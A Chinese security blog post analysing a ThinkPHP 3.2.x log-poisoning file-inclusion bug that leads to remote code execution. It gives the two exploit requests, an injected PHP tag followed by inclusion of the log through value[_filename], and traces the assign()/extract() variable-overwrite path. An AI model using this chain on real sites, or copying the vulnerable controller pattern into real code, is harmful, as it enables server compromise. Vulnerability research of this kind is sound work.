ThinkPHP 3.2.x文件包含&RCE分析
2021-09-06   # 代码审计

好久没看 PHP 的东西了,上个月爆了个 ThinkPHP3.2.x RCE漏洞 (本质其实是文件包含 ),刚好跟着分析一下。

环境

1
2
3
git clone https://github.com/top-think/thinkphp.git
cd thinkphp
git checkout 3.2.3

放到 web 目录下访问,会直接在 Application 目录下面自动生成公共模块 Common、默认模块 Home Runtime 运行时目录

修改 Index 控制器

Application/Home/Controller/IndexController.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index($value='')
{
$this->assign($value);
$this->display();
}
}

把 Debug 关了,Debug 会影响日志的路径

复现

漏洞主要是文件包含,通过构造错误请求,把 payload 的写入日志文件,接着去包含日志文件从而 RCE

构造一个错误的请求访问 http://host-web/index.php?m=--><?=phpinfo();?>

image-20210906112303530

日志路径 Application/Runtime/Logs/Common/21_09_06.log,注意访问的时候用 bp 去访问,浏览器访问的话浏览器会自动 url 编码

image-20210906112449843

访问 https://host-web/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_09_06.log

image-20210906113320516

分析

说一下 thinkphp 4个视图方法

1
2
3
4
display();
fetch();
show();
assign();
  1. display
1
display('[模板文件]'[,'字符编码'][,'输出类型'])

模板文件的写法支持下面几种:

不带任何参数 自动定位当前操作的模板文件
[模块@][控制器:][操作] 常用写法,支持跨模块 模板主题可以和theme方法配合
完整的模板文件名 直接使用完整的模板文件名(包括模板后缀)
  1. fetch

    fetch方法的用法除了不需要指定输出编码和类型外其它和display基本一致

    模板文件的调用方法和 display 方法完全一样,区别就在于 fetch 方法渲染后不是直接输出

  2. show

    1
    show('渲染内容'[,'字符编码'][,'输出类型'])

    渲染内容,例如

    1
    2
    3
    $this->show($content);
    // 也可以指定编码和类型
    $this->show($content, 'utf-8', 'text/xml');
  3. assign

    如果要在模板中输出变量,必须在在控制器中把变量传递给模板,系统提供了 assign 方法对模板变量赋值,无论何种变量类型都统一使用assign赋值。

    1
    $this->assign('name',$value);
1
2
3
4
$array['name']    =    'thinkphp';
$array['email'] = 'liu21st@gmail.com';
$array['phone'] = '12335678';
$this->assign($array);

再来看漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index($value='')
{
$this->assign($value);
$this->display();
}
}

$this->assign($value); 设置了一个模版变量 $value ,$value 可控,然后用 $this->display(); 渲染。

我们传入的 $value 为数组形式 value[_filename]=./Application/Runtime/Logs/Common/21_09_06.log

最终触发漏洞的位置

ThinkPHP/Library/Think/Storage/Driver/File.class.php

image-20210907145112520

当 $vars 不为空时,用 extract() 去处理 $vars,接着 include $_filename。很简单的一个变量覆盖漏洞,覆盖$_filename 可以任意文件包含。

所以只要 $vars 可控就行,我们从头跟一遍漏洞触发的过程。

访问 http://host-web/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_09_06.log

首先进入 $this->assign($value); 方法,把 $value 赋值给 $this->tVar;

image-20210907150539683

image-20210907150735310

接着调用 $this->display() 渲染模版。

image-20210907150843233

在 77 行进入 $this->fetch() 方法解析模版

image-20210907150959859

$content 为空直接往下走,133 行判断了一下是否使用 php 原生的模版引擎,直接看 else 的部分

把一些参数放到了数组 $params 里,其中 ‘var’ => $this->tVar ,这里用到了前面 $this->tVar 也就是我们传入的 $value。

接着调用 Hook::listen(‘view_parse’, $params);

image-20210907151720608

都是一写记录日志的代码,重点看 99 行 $result = self::exec($name, $tag, $params);

image-20210907152451273

这个方法是用来执行插件的,这里会去调用 Behavior\ParseTemplateBehavior 了类的 run 方法,

传入的参数为 $params 其中包含了 $this->tVar

1
2
$addon = new $name();
return $addon->$tag($params);

image-20210907152519791

判断了一下是否采用 Think 的模版引擎,接着对一些参数进行判断,

image-20210907153223195

最后会调用 $tpl->fetch($_content, $_data['var'], $_data['prefix']);

这里的 $_data 就是我们调用 run 方法时传入的 $params , $_data[‘var’] 其实就是 $this->tVar 也就是我们传入的 $value。

image-20210907153431668

把我们传入的 $_data[‘var’] 赋值给 $this->tVar 接着去调用 Storage::load($templateCacheFile, $this->tVar, null, 'tpl');

接着就是最终触发漏洞的地方,第二个参数 $vars ,其实就是传入的 $this->tVar,也就是我们传入的 $value。

image-20210907153713234

总结

所以这个漏洞本质上就是一个任意文件包含漏洞,利用的前提是 assign() 方法的第一个参数可控。但是好像很少有人会这么写代码,github 上翻了一些基于 thinphp3.2.x 的项目没找到能利用的。。。

参考

https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ

https://www.kancloud.cn/thinkphp/thinkphp_quickstart/2145